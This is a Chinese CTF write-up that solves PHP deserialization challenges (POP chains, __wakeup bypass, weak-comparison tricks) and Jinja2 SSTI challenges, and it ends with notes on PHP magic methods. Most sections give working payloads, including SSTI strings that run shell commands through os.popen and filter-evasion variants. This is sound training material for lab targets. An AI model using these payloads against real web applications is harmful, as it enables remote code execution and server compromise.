WebSec 之 PHP反序列化 与 Python SSTI
反序列化
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作
PHP 保留所有以
__
开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称
反序列化1
访问 robots.txt
拿到新地址,访问得到源码
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$wllm_var = new wllm();
$stus = serialize($wllm_var);
print_r($stus);
?>
构造
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin = "admin";
$this->passwd = "ctf";
}
}
$wllm_var = new wllm();
$stus = serialize($wllm_var);
print_r($stus);
payload
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
GET
传参
?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;}
反序列化2
查看网页源码发现有 URL,访问,结合 show_source("class.php");
确认是 class.php
源码
与反序列化1相比多了 __wakeup()
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
sha1()
为散列函数,其输出为 160 bit 数,长度不符,无法找到输出为字符串 wllm
的原像
在数学中,像(image)又称像点、镜像,是一个跟函数相关的用语;简言之,就是当元素 可映射至元素 ,则 是 的“像”,而 为 的“原像”
想办法绕过 __wakeup()
如果存在
__wakeup
方法,调用unserilize()
方法前则先调用__wakeup
方法。而序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行;于是构造
<?php
class HaHaHa{ # 题目给出的类名
public $admin='admin';
public $passwd='wllm';
}
$cla = new HaHaHa();
$poc = serialize($cla);
echo $poc."<br>";
$payload = str_replace('2','3',$poc); # 替换为与原本不同的元素个数来绕过 __wakeup
echo '?p='.$payload;
?>
反序列化3
__toString()
:类被当成字符串时被调用,如出现 echo
或者 pre_match
时
官方说法:方法用于一个类被当成字符串时应怎样回应。例如
echo $obj;
应该显示些什么
如何调用 w33m
?利用 w22m
的魔术方法 __destruct()
构造链如下
w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
实现如下
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$w22 = new w22m();
$w33 = new w33m();
$w44 = new w44m();
$w22->w00m=$w33;
$w33->w00m=$w44;
$w33->w22m='Getflag';
echo urlencode(serialize($w22));
?>
因输出含有不可见字符,使用 urlencode()
进行 URL 编码后输出,方便利用
最终payload
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
反序列化4
include()
发生在需要比较输入是否与其相等的值后,也就是说变量可能会被覆盖
同时发现在处理时使用弱比较 ==
可利用 PHP 中使用 ==
比较时,Bool
True 与字符串比较始终返回 1 的特点,使得 if()
成立
<?php
$ab=array(
'username'=>true,
'password'=>true
);
$b=serialize($ab);
echo $b;
?>
反序列化5
先调用 NISA
中的 __wakeup()
查看 hint()
,继续执行时需要修改 $fun
过滤 system
,大小写绕过
$fun
是私有属性,所以反序列化会产生空字符,用 URLencode
避免问题
<?php
class NISA{
public $fun;
public $txw4ever='System("cat /f*");';
}
class TianXiWei{
public $ext;
public $x;
public function __construct()
{
$this->ext=new Ilovetxw();
}
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a="TXW4EVER";
private $fun='sixsixsix';
}
$a=new TianXiWei();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw();
$a->ext->huang->a->su=new NISA();
echo urlencode(serialize($a));
?>
SSTI
SSTI-level1
{{1+2}}
测试发现存在 SSTI
无过滤
找到基类后访问其包含敏感操作的属性
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
本题 payload 不唯一
SSTI-level2
过滤 {{
%
+ print()
绕过找到基类后访问其包含敏感操作的属性
{%print(1+2)%}
返回3,说明绕过 {{
检测成功
{%print(url_for.__globals__.__builtins__['__import__']('os').popen('cat f*').read())%}
本题 payload 不唯一
SSTI2-1
- 寻找注入点,参数是 name(使用常见字典爆破)
- 注意在利用ssti的文件读取就是第一种方法时,要自己寻找可利用的文件读取类
<class ‘_frozen_importlib_external.FileLoader’>
环境不同,位置不同,需要推测(使用课堂发布的脚本)
- 利用文件读取,118是文件读取类
<class ‘_frozen_importlib_external.FileLoader’>
的位置,利用其中的文件读取函数来读取文件
?name={{"".__class__.__base__.__subclasses__()[118]["get_data"](0,"flag")}}
- 利用
os
模块实现 RCE
?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20flag%27).read()}}
SSTI2-2
关键字符串检测,使用 python
特性用 ''
实现拼接绕过,注意如果有下划线(保留字),需要使用 []
框柱,以正常运行
获取到子类后,使用课堂发布的脚本查找 warnings.catch_warnings
的 index
import json
classes="""
"""
num=0
alllist=[]
result=""
# 整理数据, 使其变为规范的 list, 方便查找 index
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
for k,v in enumerate(alllist):
if "warnings.catch_warnings" in v:
print(str(k)+"--->"+v)
利用他的子类 __builtins__
{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}
SSTI2-3
/?name=1
发现正常输出(参数来自网页提示)
/?name=1+1
加号消失
尝试
/?name={{1+1}}
失败
/?name=1+2
变为 2 1,猜测存在逆序
/?name=3*1
变为 1*3
,猜测正确
/?name=}}1+1{{
成功输出2
使用带大家安装的附带有 SSTI Payload 的 hackbar
生成 from TUPLE to RCE Payload
用 CyberChef 逆序后回传,实现 RCE;CyberChef 配方为:CyberChef
但 flag 并不在根目录与网页目录
这时考虑环境变量,Linux 中访问环境变量的命令为 env
,于是替换生成的 Payload 中的要调用系统执行的参数为 env
,即可找到 flag
Payload:
}%rofdne%{}%fidne%{}})(daer.)'vne'(nepop.)'so'(]'__tropmi__'[__snitliub__.eludom_.)(x{{}% __eman__.)x(ni'raw'fi%{}%)(__sessalcbus__.__esab__.__ssalc__.)(ni)x(rof%{
Happy
PHP Happy
利用 PHP 中 ==
弱比较,以及 PHP 中 md5()
遇到数组会返回 Null
,而 Null == Null
返回 True
。此方法优点为强比较时也可用
综上,传入不相等的数组实现程序流达到目标函数
payload
GET
name[]=1
POST
password[]=2
- 注意本题需要用
GET
与POST
方法同时传参
本题方法不唯一
自动化工具(仅在题目允许爆破时使用):
引用1:
1、__get
、__set
这两个方法是为在类和他们的父类中没有声明的属性而设计的
__get( $property )
当调用一个未定义的属性时访问此方法
__set( $property, $value )
给一个未定义的属性赋值时调用
这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
2、__isset
、__unset
__isset( $property )
当在一个未定义的属性上调用 isset()
函数时调用此方法
__unset( $property )
当在一个未定义的属性上调用 unset()
函数时调用此方法
与 __get
方法和 __set
方法相同,这里的没有声明包括访问控制为 proteced,private 的属性(即没有权限访问的属性)
3、__call
__call( $method, $arg_array )
当调用一个未定义(包括没有权限访问)的方法是调用此方法
4、__autoload
__autoload
函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。
注意: 在 __autoload
函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。
5、__construct
、__destruct
__construct
构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称
__destruct
析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法
默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用.
在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。
6、__clone
PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。
7、__toString
__toString
方法在将一个对象转化成字符串时自动调用,比如使用 echo
打印对象时,如果类没有实现此方法,则无法通过 echo
打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。
在PHP 5.2.0之前,__toString
方法只有结合使用 echo()
或 print()
时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过 printf()
,使用 %s
修饰符),但 不能用于非字符串环境(如使用 %d
修饰符)
从 PHP 5.2.0,如果将一个未定义 __toString
方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR 错误。
8、__sleep
、__wakeup
__sleep
串行化的时候用
__wakeup
反串行化的时候调用
serialize()
检查类中是否有魔术名称 __sleep
的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。
使用 __sleep
的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。
相反地,unserialize()
检查具有魔术名称 __wakeup
的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup
的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。
9、__set_state
当调用 var_export()
时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按 array(’property’ => value, …)
格式排列的类属性。
10、__invoke
当尝试以调用函数的方式调用一个对象时,__invoke
方法会被自动调用。PHP 5.3.0以上版本有效
11、__callStatic
它的工作方式类似于 __call()
魔术方法,__callStatic()
是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic()
方法的定义;它必须是公共的,并且必须被声明为静态的。
同样,__call()
魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。
引用2:
5.3.7. 反序列化 — Web安全学习笔记 1.0 文档
SSTI之细说jinja2的常用构造及利用思路 - 蚁景网安实验室
SSTI (Server Side Template Injection) | Chinese - Ht | HackTricks
SSTI in Flask/Jinja2. What is SSTI ( Server-Side Template… | by IndominusByte | Medium
反序列化题目来源:
-
反序列化1 NSSCTF | 在线CTF平台 [SWPUCTF 2021 新生赛]ez_unserialize
-
反序列化2 NSSCTF | 在线CTF平台 [SWPUCTF 2021 新生赛]no_wakeup
-
反序列化3 NSSCTF | 在线CTF平台 [SWPUCTF 2021 新生赛]pop
-
反序列化4 NSSCTF | 在线CTF平台 [HUBUCTF 2022 新生赛]checkin
-
反序列化5 NSSCTF | 在线CTF平台 [NISACTF 2022]babyserialize
-
PHP Happy NSSCTF | 在线CTF平台 [HZNUCTF 2023 preliminary]ppppop
SSTI题目来源:
- SSTI-level XENNY 的 Github
- SSTI2-1 NSSCTF | 在线CTF平台 [HNCTF 2022 WEEK3]ssssti
- SSTI2-2 NSSCTF | 在线CTF平台 [NCTF 2018]flask真香
- SSTI2-3 NSSCTF | 在线CTF平台 [HZNUCTF 2023 preliminary]flask